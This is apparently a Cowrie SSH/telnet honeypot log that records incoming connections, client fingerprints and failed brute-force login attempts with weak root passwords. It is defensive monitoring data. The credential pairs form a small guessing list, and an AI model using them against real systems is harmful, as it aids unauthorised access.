{"eventid":"cowrie.session.connect","src_ip":"138.197.164.175","src_port":53314,"dst_ip":"10.17.0.5","dst_port":22,"session":"f161cdb74bee","protocol":"ssh","message":"New connection: 138.197.164.175:53314 (10.17.0.5:22) [session: f161cdb74bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:53.608006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:53.611912Z","src_ip":"138.197.164.175","session":"f161cdb74bee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:53.630692Z","src_ip":"138.197.164.175","session":"f161cdb74bee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz1234","message":"login attempt [root/1qaz1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:53.739315Z","src_ip":"138.197.164.175","session":"f161cdb74bee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:54.765761Z","src_ip":"138.197.164.175","session":"f161cdb74bee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":44186,"dst_ip":"10.17.0.5","dst_port":22,"session":"3001e4605bd1","protocol":"ssh","message":"New connection: 91.92.40.4:44186 (10.17.0.5:22) [session: 3001e4605bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:57.152941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:57.160495Z","src_ip":"91.92.40.4","session":"3001e4605bd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:57.348936Z","src_ip":"91.92.40.4","session":"3001e4605bd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pass123","message":"login attempt [user/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:57.640598Z","src_ip":"91.92.40.4","session":"3001e4605bd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.174.129.232","src_port":15524,"dst_ip":"10.17.0.5","dst_port":22,"session":"39044d834258","protocol":"ssh","message":"New connection: 160.174.129.232:15524 (10.17.0.5:22) [session: 39044d834258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:57.701090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:57.705037Z","src_ip":"160.174.129.232","session":"39044d834258","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":33776,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b4c1dcae5fb","protocol":"ssh","message":"New connection: 189.203.163.10:33776 (10.17.0.5:22) [session: 3b4c1dcae5fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:57.726310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:57.731754Z","src_ip":"189.203.163.10","session":"3b4c1dcae5fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:57.793659Z","src_ip":"189.203.163.10","session":"3b4c1dcae5fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:57.845363Z","src_ip":"160.174.129.232","session":"39044d834258","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZ123wsx","message":"login attempt [root/QAZ123wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:58.078673Z","src_ip":"189.203.163.10","session":"3b4c1dcae5fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcv123123","message":"login attempt [root/zxcv123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:58.441106Z","src_ip":"160.174.129.232","session":"39044d834258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:58.723895Z","src_ip":"91.92.40.4","session":"3001e4605bd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:59.143068Z","src_ip":"189.203.163.10","session":"3b4c1dcae5fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:59.582993Z","src_ip":"160.174.129.232","session":"39044d834258","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.38.41","src_port":50244,"dst_ip":"159.203.135.109","dst_port":22,"session":"c00b4a4c7063","protocol":"ssh","message":"New connection: 165.232.38.41:50244 (159.203.135.109:22) [session: c00b4a4c7063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:36:18.447562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:36:18.451153Z","src_ip":"165.232.38.41","session":"c00b4a4c7063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:36:18.519959Z","src_ip":"165.232.38.41","session":"c00b4a4c7063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Windows2008","message":"login attempt [root/Windows2008] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:36:18.827698Z","src_ip":"165.232.38.41","session":"c00b4a4c7063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:36:19.899088Z","src_ip":"165.232.38.41","session":"c00b4a4c7063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.18.197.35","src_port":44484,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dded4d9647d","protocol":"ssh","message":"New connection: 154.18.197.35:44484 (159.203.135.109:22) [session: 8dded4d9647d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:36:31.108083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:36:31.112500Z","src_ip":"154.18.197.35","session":"8dded4d9647d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:36:31.329000Z","src_ip":"154.18.197.35","session":"8dded4d9647d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fe123456","message":"login attempt [root/fe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:36:32.230759Z","src_ip":"154.18.197.35","session":"8dded4d9647d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:36:33.450409Z","src_ip":"154.18.197.35","session":"8dded4d9647d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.220.91.9","src_port":24286,"dst_ip":"159.203.135.109","dst_port":22,"session":"f499d991314b","protocol":"ssh","message":"New connection: 13.220.91.9:24286 (159.203.135.109:22) [session: f499d991314b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:36:34.423841Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41032,"dst_ip":"159.203.135.109","dst_port":23,"session":"4af90dcc6ff5","protocol":"telnet","message":"New connection: 170.64.224.25:41032 (159.203.135.109:23) [session: 4af90dcc6ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:36:36.630599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:36:36.675001Z","src_ip":"13.220.91.9","session":"f499d991314b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:36:36.678535Z","src_ip":"13.220.91.9","session":"f499d991314b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:36:43.555739Z","src_ip":"13.220.91.9","session":"f499d991314b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.193.165","src_port":43602,"dst_ip":"10.17.0.5","dst_port":22,"session":"c34e5c15d376","protocol":"ssh","message":"New connection: 20.228.193.165:43602 (10.17.0.5:22) [session: c34e5c15d376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:06.553897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:06.558110Z","src_ip":"20.228.193.165","session":"c34e5c15d376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:06.578304Z","src_ip":"20.228.193.165","session":"c34e5c15d376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elite","message":"login attempt [root/elite] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:06.678369Z","src_ip":"20.228.193.165","session":"c34e5c15d376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:07.698195Z","src_ip":"20.228.193.165","session":"c34e5c15d376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.23878717422485,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:13.869247Z","src_ip":"170.64.224.25","session":"4af90dcc6ff5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.174.171","src_port":42444,"dst_ip":"10.17.0.5","dst_port":22,"session":"36d4f132e170","protocol":"ssh","message":"New connection: 152.32.174.171:42444 (10.17.0.5:22) [session: 36d4f132e170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:37:18.774514Z"}
